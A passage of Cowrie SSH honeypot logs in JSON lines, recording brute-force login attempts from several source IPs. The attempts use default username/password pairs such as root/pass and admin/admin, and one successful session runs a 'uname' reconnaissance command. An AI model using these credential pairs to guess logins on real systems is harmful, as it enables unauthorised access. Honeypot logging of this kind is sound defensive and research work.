mac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:35.334075Z","src_ip":"176.65.139.103","session":"c3d5768fb835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:35.583968Z","src_ip":"176.65.139.103","session":"c3d5768fb835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:36.667878Z","src_ip":"176.65.139.103","session":"c3d5768fb835","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":62119,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d82868c7332","protocol":"ssh","message":"New connection: 52.231.220.210:62119 (10.17.0.5:22) [session: 8d82868c7332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:38.136431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:38.141950Z","src_ip":"52.231.220.210","session":"8d82868c7332","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:38.336586Z","src_ip":"52.231.220.210","session":"8d82868c7332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"P@ssword","message":"login attempt [postgres/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:39.148185Z","src_ip":"52.231.220.210","session":"8d82868c7332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:40.345288Z","src_ip":"52.231.220.210","session":"8d82868c7332","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36762,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ba6dcf421c0","protocol":"ssh","message":"New connection: 176.65.139.103:36762 (10.17.0.5:22) [session: 9ba6dcf421c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:41.791380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:41.795377Z","src_ip":"176.65.139.103","session":"9ba6dcf421c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:41.879847Z","src_ip":"176.65.139.103","session":"9ba6dcf421c0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:42.128792Z","src_ip":"176.65.139.103","session":"9ba6dcf421c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:42.329549Z","src_ip":"176.65.139.103","session":"9ba6dcf421c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:42.332564Z","src_ip":"176.65.139.103","session":"9ba6dcf421c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:42.518714Z","src_ip":"176.65.139.103","session":"9ba6dcf421c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:42.523701Z","src_ip":"176.65.139.103","session":"9ba6dcf421c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":50692,"dst_ip":"10.17.0.5","dst_port":22,"session":"7737073a1a43","protocol":"ssh","message":"New connection: 80.94.92.182:50692 (10.17.0.5:22) [session: 7737073a1a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:44.522183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:44.639234Z","src_ip":"80.94.92.182","session":"7737073a1a43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:44.642612Z","src_ip":"80.94.92.182","session":"7737073a1a43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:45.920928Z","src_ip":"80.94.92.182","session":"7737073a1a43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:47.154538Z","src_ip":"80.94.92.182","session":"7737073a1a43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33710,"dst_ip":"10.17.0.5","dst_port":22,"session":"11fd35155a66","protocol":"ssh","message":"New connection: 176.65.139.103:33710 (10.17.0.5:22) [session: 11fd35155a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:48.489189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:48.493639Z","src_ip":"176.65.139.103","session":"11fd35155a66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:48.577158Z","src_ip":"176.65.139.103","session":"11fd35155a66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:48.832062Z","src_ip":"176.65.139.103","session":"11fd35155a66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:50.050594Z","src_ip":"176.65.139.103","session":"11fd35155a66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41912,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f3f4d86ade5","protocol":"ssh","message":"New connection: 176.65.139.103:41912 (10.17.0.5:22) [session: 8f3f4d86ade5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:55.378894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:55.383909Z","src_ip":"176.65.139.103","session":"8f3f4d86ade5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:55.479246Z","src_ip":"176.65.139.103","session":"8f3f4d86ade5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:55.750551Z","src_ip":"176.65.139.103","session":"8f3f4d86ade5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:56.857978Z","src_ip":"176.65.139.103","session":"8f3f4d86ade5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41918,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dd14c08aef5","protocol":"ssh","message":"New connection: 176.65.139.103:41918 (10.17.0.5:22) [session: 6dd14c08aef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:02.623679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:02.627835Z","src_ip":"176.65.139.103","session":"6dd14c08aef5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:02.709548Z","src_ip":"176.65.139.103","session":"6dd14c08aef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:03.059206Z","src_ip":"176.65.139.103","session":"6dd14c08aef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:04.344908Z","src_ip":"176.65.139.103","session":"6dd14c08aef5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":45362,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f48a735299a","protocol":"ssh","message":"New connection: 202.184.144.220:45362 (10.17.0.5:22) [session: 1f48a735299a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:05.419767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:05.424640Z","src_ip":"202.184.144.220","session":"1f48a735299a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:05.660237Z","src_ip":"202.184.144.220","session":"1f48a735299a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59028,"dst_ip":"159.203.135.109","dst_port":22,"session":"f296dee277be","protocol":"ssh","message":"New connection: 159.203.92.129:59028 (159.203.135.109:22) [session: f296dee277be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:06.520064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:06.523886Z","src_ip":"159.203.92.129","session":"f296dee277be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:06.527471Z","src_ip":"159.203.92.129","session":"f296dee277be","protocol":"ssh"}
